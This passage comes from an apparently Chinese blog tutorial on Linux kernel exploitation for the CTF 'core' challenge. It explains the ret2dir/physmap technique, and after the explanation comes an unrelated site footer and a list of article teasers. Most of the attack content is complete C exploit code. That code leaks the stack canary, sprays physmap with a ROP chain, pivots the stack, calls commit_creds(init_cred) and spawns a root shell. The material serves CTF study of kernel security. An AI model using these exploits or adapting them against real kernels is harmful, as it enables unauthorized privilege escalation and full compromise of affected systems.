}int main() {rebase();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;*(size_t *) &buf[80] = add_rsp_0xe8_ret;core_write(buf, sizeof(buf));__asm__("mov r15, pop_rdi_ret;""mov r14, init_cred;""mov r13, commit_creds;""mov r12, swapgs_restore_regs_and_return_to_usermode;""mov rbp, 0x5555555555555555;""mov rbx, 0x6666666666666666;""mov r11, 0x7777777777777777;""mov r10, 0x8888888888888888;""mov r9, 0x9999999999999999;""mov r8, 0xaaaaaaaaaaaaaaaa;""mov rcx, 0xbbbbbbbbbbbbbbbb;""mov rax, 16;""mov rdx, 0xffffffffffff0058;""mov rsi, 0x6677889A;""mov rdi, core_fd;""syscall");system("/bin/sh");return 0;
}

ret2dir

physmap是内核管理的一块非常大的连续的虚拟内存空间,为了提高效率,该空间地址和RAM地址直接映射。RAM相对physmap要小得多,导致了任何一个RAM地址都可以在physmap中找到其对应的虚拟内存地址。另一方面,我们知道用户空间的虚拟内存也会映射到RAM。这就存在两个虚拟内存地址(一个在physmap地址,一个在用户空间地址)映射到同一个RAM地址的情况。也就是说,我们在用户空间里创建的数据,代码很有可能映射到physmap空间。基于这个理论在用户空间用mmap()把提权代码映射到内存,然后再在physmap里找到其对应的副本,修改EIP跳到副本执行就可以了。因为physmap本身就是在内核空间里,所以SMAP/SMEP都不会发挥作用。

在新版的内核当中 direct mapping area 已经不再具有可执行权限,因此我们很难再在用户空间直接布置 shellcode 进行利用,但我们仍能通过在用户空间布置 ROP 链的方式完成利用,即rsp修改到physmap上的某个偏移处,然后ret

说白了就是可以在内核地址找到一块用户态控制的内存

  1. mmap 大量的内存(rop chains 等),提高命中的概率
    以页为单位mmap分配,除了最后布置rop链,前面布置ret的地址
  2. 泄露出 slab 的地址,计算出 physmap的地址(开启KALSR后physmap地址是随机的)
  3. 劫持内核执行流到 physmap 上
    栈迁移到ptr_regs,然后再pop rsp ret 栈迁移到physmap上
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>size_t try_hit = 0xffff880000000000 + 0x7000000;
size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t commit_creds = 0xFFFFFFFF8109C8E0;
size_t init_cred = 0xFFFFFFFF8223D1A0;
size_t pop_rdi_ret = 0xffffffff81000b2f;
size_t pop_rsp_ret = 0xffffffff81001689;
size_t add_rsp_0xe8_ret = 0xffffffff816bb966;
size_t ret = 0xFFFFFFFF8100168A;
size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
size_t user_cs, user_rflags, user_sp, user_ss;void save_status() {__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*] status has been saved.");
}void get_shell() { system("/bin/sh"); }int core_fd;void coore_read(char *buf) {ioctl(core_fd, 0x6677889B, buf);
}void set_off(size_t off) {ioctl(core_fd, 0x6677889C, off);
}void core_write(char *buf, size_t len) {write(core_fd, buf, len);
}void rebase() {FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");if (kallsyms_fd < 0) {puts("[-] Failed to open kallsyms.\n");exit(-1);}char name[0x50], type[0x10];size_t addr;while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {size_t offset = -1;if (!strcmp(name, "commit_creds")) {offset = addr - (size_t) commit_creds;} else if (!strcmp(name, "prepare_kernel_cred")) {offset = addr - (size_t) prepare_kernel_cred;}if (offset != -1) {printf("[*] offset: %p\n", offset);commit_creds += offset;prepare_kernel_cred += offset;init_cred += offset;pop_rdi_ret += offset;add_rsp_0xe8_ret += offset;pop_rsp_ret += offset;ret += offset;swapgs_restore_regs_and_return_to_usermode += offset;break;}}printf("[*] commit_creds: %p\n", (size_t) commit_creds);printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
}size_t get_canary() {set_off(64);char buf[64];coore_read(buf);return *(size_t *) buf;
}void physmap_spray() {size_t page_size = sysconf(_SC_PAGESIZE);size_t *rop = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);int it = 0;for (; it < (page_size / 8 - 11); it++) {rop[it] = ret;}rop[it++] = pop_rdi_ret;rop[it++] = init_cred;rop[it++] = commit_creds;rop[it++] = swapgs_restore_regs_and_return_to_usermode + 0x16;rop[it++] = 0;rop[it++] = 0;rop[it++] = (size_t) get_shell;rop[it++] = user_cs;rop[it++] = user_rflags;rop[it++] = user_sp;rop[it++] = user_ss;puts("[*] Spraying physmap...");for (int i = 1; i < 30000; i++) {void *page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);memcpy(page, rop, page_size);}
}int main() {rebase();save_status();physmap_spray();core_fd = open("/proc/core", O_RDWR);if (core_fd < 0) {puts("[-] Failed to open core.");exit(-1);}size_t canary = get_canary();printf("[*] canary: %p\n", canary);char buf[0x100];memset(buf, 'a', sizeof(buf));*(size_t *) &buf[64] = canary;*(size_t *) &buf[80] = add_rsp_0xe8_ret;core_write(buf, sizeof(buf));__asm__("mov r15, pop_rsp_ret;""mov r14, try_hit;""mov r13, 0x3333333333333333;""mov r12, 0x4444444444444444;""mov rbp, 0x5555555555555555;""mov rbx, 0x6666666666666666;""mov r11, 0x7777777777777777;""mov r10, 0x8888888888888888;""mov r9, 0x9999999999999999;""mov r8, 0xaaaaaaaaaaaaaaaa;""mov rcx, 0xbbbbbbbbbbbbbbbb;""mov rax, 16;""mov rdx, 0xffffffffffff0058;""mov rsi, 0x6677889A;""mov rdi, core_fd;""syscall;");system("/bin/sh");return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/43623.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024年浙江省高考分数一分一段数据可视化

下图根据 2024 年浙江高考一分一段表绘制&#xff0c;可以看到&#xff0c;竞争最激烈的分数区间在620分到480分之间。 不过&#xff0c;浙江是考两次取最大&#xff0c;不是很有代表性。看看湖北的数据&#xff0c;580分到400分的区段都很卷。另外&#xff0c;从这个图也可以…

el-image放大图片功能

1.需求&#xff1a;点击图片后放大图片 html代码&#xff1a; <el-imagestyle"width: 100px; height: 100px":src"baseUrl item.id":zoom-rate"1.2":max-scale"7":min-scale"0.2":preview-src-list"srcList"…

Xilinx FPGA UltraScale SelectIO 接口逻辑资源

目录 1. 简介 2. Bank Overview 2.1 Diagram 2.2 IOB 2.3 Slice 2.4 Byte Group 2.5 I/O bank 示例 2.6 Pin Definition 2.7 数字控制阻抗(DCI) 2.8 SelectIO 管脚供电电压 2.8.1 VCCO 2.8.2 VREF 2.8.3 VCCAUX 2.8.4 VCCAUX_IO 2.8.5 VCCINT_IO 3. 总结 1. 简介…

【国潮】软件本土化探索

文章目录 一、国产-操作系统银河麒麟&#xff08;Kylin&#xff09;操作系统华为鸿蒙系统&#xff08;HarmonyOS&#xff09;统信UOS深度Deepin 二、国产-服务器华为鲲鹏&#xff1a;飞腾&#xff1a;海光&#xff1a;兆芯&#xff1a;龙芯&#xff1a;申威&#xff1a; 三、国…

Redis学习 - 基础篇

Redis学习 - 基础篇 一. 简介 Redis 是一个高性能的key-value数据库&#xff0c;常用的数据类型如下&#xff1a;string&#xff0c;list&#xff0c;set&#xff0c;zset&#xff0c;hash 二. 安装 Widows和Linux下如何安装Redis-CSDN博客 三. 常用命令 配置及数据库操作…

《信息技术与信息化 》是什么级别的期刊?是正规期刊吗?能评职称吗?

问题解答 问&#xff1a;《信息技术与信息化 》是不是核心期刊&#xff1f; 答&#xff1a;不是&#xff0c;是知网收录的第一批认定学术期刊。 问&#xff1a;《信息技术与信息化 》级别&#xff1f; 答&#xff1a;省级。主管单位&#xff1a;山东省科学技术协会 主办单…

国内磁性器件核心企业『云路新能源』携手企企通正式启动SRM项目,供应链竞争力再上新台阶

近日&#xff0c;珠海黎明云路新能源科技有限公司&#xff08;以下简称“云路新能源”&#xff09;携手企企通启动SRM数字化采购供应链管理项目&#xff0c;双方相关负责人与项目组成员出席本次启动会。 本次采购数字化项目建设&#xff0c;企企通将助力云路新能源实现采购全场…

智能无人数字直播间 打造24小时的无人直播间源码系统 带网站的安装代码包以及搭建教程

系统概述 智能无人数字直播间系统是一种基于人工智能技术的软件工具&#xff0c;它结合了高精度扫描建模、自动化控制、多模态生成等多项先进技术&#xff0c;能够实现对真实人物的高度仿真&#xff0c;并自主执行各类直播任务。该系统不仅支持24小时不间断直播&#xff0c;还…

微信小程序引入自定义子组件报错,在 C:/Users/***/WeChatProjects/miniprogram-1/components/路径下***

使用原生小程序开发时候&#xff0c;会报下面的错误&#xff0c; [ pages/button/button.json 文件内容错误] pages/button/button.json: [“usingComponents”][“second-component”]: “…/…/components/second-child/index”&#xff0c;在 C:/Users/***/WeChatProjects/m…

Android约束布局的概念与属性(2)

目录 3&#xff0e;链式约束4&#xff0e;辅助线 3&#xff0e;链式约束 如果两个或以上控件通过下图的方式约束在一起&#xff0c;就可以认为是他们是一条链&#xff08;如图5为横向的链&#xff0c;纵向同理&#xff09;。 图5 链示意图 如图5所示&#xff0c;在预览图中选…

解读网络安全公司F5:助企业高效简化多云和应用部署

伴随企业加速数字化转型工作、扩展到新的基础设施环境并采用微服务架构&#xff0c;企业正拥抱混合和多云基础设施所带来的灵活性。Ernst & Young调查数据显示&#xff0c;84%的企业正处于向现有网络安全解决方案套件添加多种新技术的早期阶段。企业同样意识到&#xff0c;…

nftables(3)表达式(1)数据类型

简介 前面文章主要介绍的是nftables的基本原理和基础的配置&#xff0c;如nftables基本的表、链、规则的创建和管理。本篇文章主要介绍的是表达式EXPRESSIONS。 在网络安全和数据处理中&#xff0c;表达式&#xff08;Expressions&#xff09;扮演着非常重要的角色。它们用于…

二. Linux内核

一. Linux内核源码目录分析 arch 包含与体系结构相关的代码&#xff0c;用于支持不同硬件体系结构的实现。这个目录下会根据不同的架构&#xff08;如x86、arm、mips等&#xff09;进一步细分。 block 用于处理块设备的子系统&#xff0c;包含与块设备驱动和I/O调度相关的代码。…

Vue核心 — Vue2响应式原理和核心源码解析(核心中的核心)

一、前置知识 1、Vue 核心概念 Vue 是什么? Vue 是一款用于构建用户界面的 JavaScript 框架。它基于标准 HTML、CSS 和 JavaScript 构建&#xff0c;并提供了一套声明式的、组件化的编程模型&#xff0c;帮助你高效地开发用户界面。 Vue 核心特点是什么? 响应式数据绑定:…

绝区捌--将GPT幻觉的发生率从20%以上降低到2%以下

总结&#xff1a;我们没有使用微调&#xff0c;而是结合使用提示链和预处理/后处理来将幻觉发生率降低一个数量级&#xff0c;但这确实需要对 OpenAI 进行 3-4 倍的调用。还有很大的改进空间&#xff01; 使用 GPT 等大型语言模型面临的最大挑战之一是它们倾向于捏造信息。 这…

使用Python绘制QQ图并分析数据

使用Python绘制QQ图并分析数据 在这篇博客中&#xff0c;我们将探讨如何使用Python中的pandas库和matplotlib库来绘制QQ图&#xff08;Quantile-Quantile Plot&#xff09;&#xff0c;并分析数据文件中的内容。QQ图是一种常用的统计图表&#xff0c;用于检查一组数据是否服从…

C# 下sendmessage和postmessage的区别详解与示例

文章目录 1、SendMessage2、PostMessage3、两者的区别&#xff1a; 总结 在C#中&#xff0c;SendMessage和PostMessage是两个用于Windows编程的API&#xff0c;它们用于向窗口发送消息。这两个方法都位于System.Windows.Forms命名空间中&#xff0c;通常用于自动化Windows应用程…

科普文:分布式系统的架构设计模式

一、分布式架构基本概念 分布式架构是一种计算机系统设计方法&#xff0c;它将一个复杂的系统划分为多个自治的组件或节点&#xff0c;并通过网络进行通信和协作。每个组件或节点在功能上可以相互独立&#xff0c;但又能够通过消息传递或共享数据来实现协同工作。分布式架构主要…

值传递与引用传递:深入理解Java中的变量赋值和参数传递机制

在Java中&#xff0c;理解值传递&#xff08;值拷贝&#xff09;与引用传递&#xff08;地址拷贝&#xff09;之间的区别对于正确处理数据结构和对象至关重要。本文将通过示例代码深入探讨这两种机制&#xff0c;并解释它们如何影响程序的行为。 值传递&#xff08;值拷贝&…

虚拟机因断电进入./#状态解决办法

现象&#xff1a; 解决&#xff1a;先查看错误日志&#xff1a;journalctl -p err -b查看自己虚拟机中标黄部分的名字 之后运行&#xff1a;xfs_repair -v -L /dev/sda #这里sda用你自己标黄的 最后重启 reboot 即可。